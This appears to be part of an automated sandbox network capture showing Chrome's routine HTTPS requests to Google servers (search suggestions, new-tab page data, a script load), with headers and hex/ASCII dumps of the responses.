Nov 19, 2024 18:02:20.848622084 CET	448	IN	Data Raw: 88 fc 6a 2c 93 c3 7c 78 20 28 5a 2c 0c e2 20 43 e9 ec f7 7d 24 6e fb 42 88 67 f2 8f 11 8a 43 e4 b9 fc c3 5c 38 4a 23 91 1e 76 92 b1 d8 e2 62 9c 57 a2 f3 c5 b4 b3 35 7c c8 fc 39 8c 30 d2 20 16 8e 8e 23 b4 3f 32 3e cc 10 af fb f0 fd 7e 8b 42 39 16 Data Ascii: j,\|x (Z, C}$nBgC\8J#vbW5\|90 #?2>~B9oiBFY/u8Wf1j~& b5~qimr:F~Mz9EdQ^H\$Q*FFG<],f^MOtVyh\{b?KmHje<03vn9:`3Qo
Nov 19, 2024 18:02:20.853384018 CET	1236	IN	Data Raw: 10 76 3f c0 b0 fc 53 20 76 ce e0 57 16 bb cf 16 01 2a 6a 9c 5a af f9 c5 37 26 73 8c 9c c8 eb dd 4a 86 6d 75 fc fa 8b dc 08 ae 2d 76 0d 28 5e 56 0e fe 3e 70 a0 c8 3b 46 78 71 57 11 91 de 39 42 74 fb 51 40 9e b8 6e c6 10 ba 47 4f 50 62 93 40 52 e9 Data Ascii: v?S vW*jZ7&sJmu-v(^V>p;FxqW9BtQ@nGOPb@RLno0]IKQ7yBD<%Y@mDnPS7n.4m<P#SZb2M:=cAwB@%Fy_j_#.IKk2nsB\Z2FsB:yf~M9>s(cU2>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	142.250.186.164	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:26 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 17:00:26 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:26 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-AQN38zQ6i3HqeH8wVWTHoQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 17:00:26 UTC	124	IN	Data Raw: 33 30 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 24 32 30 30 30 20 73 74 69 6d 75 6c 75 73 20 63 68 65 63 6b 22 2c 22 64 75 6e 65 20 70 72 6f 70 68 65 63 79 20 65 70 69 73 6f 64 65 20 31 20 65 78 70 6c 61 69 6e 65 64 22 2c 22 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 77 61 72 6e 69 6e 67 20 6f 72 65 67 6f 6e 22 2c 22 62 6c 61 63 6b 20 66 72 69 64 61 79 20 64 65 61 6c 73 20 Data Ascii: 30a)]}'["",["$2000 stimulus check","dune prophecy episode 1 explained","winter storm warning oregon","black friday deals
2024-11-19 17:00:26 UTC	661	IN	Data Raw: 70 73 35 22 2c 22 74 20 6d 6f 62 69 6c 65 20 63 79 62 65 72 20 61 74 74 61 63 6b 22 2c 22 63 65 6c 74 69 63 73 20 63 61 76 73 20 69 6e 6a 75 72 79 20 72 65 70 6f 72 74 22 2c 22 64 69 72 65 63 74 20 65 78 70 72 65 73 73 20 63 61 72 64 20 32 30 32 34 20 75 70 64 61 74 65 73 22 2c 22 63 72 79 70 74 6f 63 75 72 72 65 6e 63 79 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f Data Ascii: ps5","t mobile cyber attack","celtics cavs injury report","direct express card 2024 updates","cryptocurrency"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","goo
2024-11-19 17:00:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	142.250.186.164	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:26 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 17:00:26 UTC	1018	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 17:00:26 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 17:00:26 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-19 17:00:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49711	142.250.186.164	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:26 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 17:00:27 UTC	1018	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 17:00:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 17:00:27 UTC	372	IN	Data Raw: 33 38 66 33 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 38f3)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-19 17:00:27 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-19 17:00:27 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-19 17:00:27 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-19 17:00:27 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-19 17:00:27 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700330,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-19 17:00:27 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-19 17:00:27 UTC	1390	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 Data Ascii: ow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(
2024-11-19 17:00:27 UTC	1390	IN	Data Raw: 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 5f 2e 41 62 28 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c Data Ascii: uerySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"cl
2024-11-19 17:00:27 UTC	1390	IN	Data Raw: 6e 20 5f 2e 6f 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 62 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6c 65 74 20 62 3b 66 6f 72 28 3b 62 5c 75 30 30 33 64 61 2e 66 69 72 73 74 43 68 69 6c 64 3b 29 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 62 29 7d 3b 5f 2e Data Ascii: n _.oe(document,a)};_.oe\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLowerCase());return a.createElement(b)};_.se\u003dfunction(a){let b;for(;b\u003da.firstChild;)a.removeChild(b)};_.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49712	142.250.186.164	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:26 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 17:00:27 UTC	1034	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 17:00:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 17:00:27 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-19 17:00:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49720	142.250.186.78	443	6056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:29 UTC	737	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlaHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
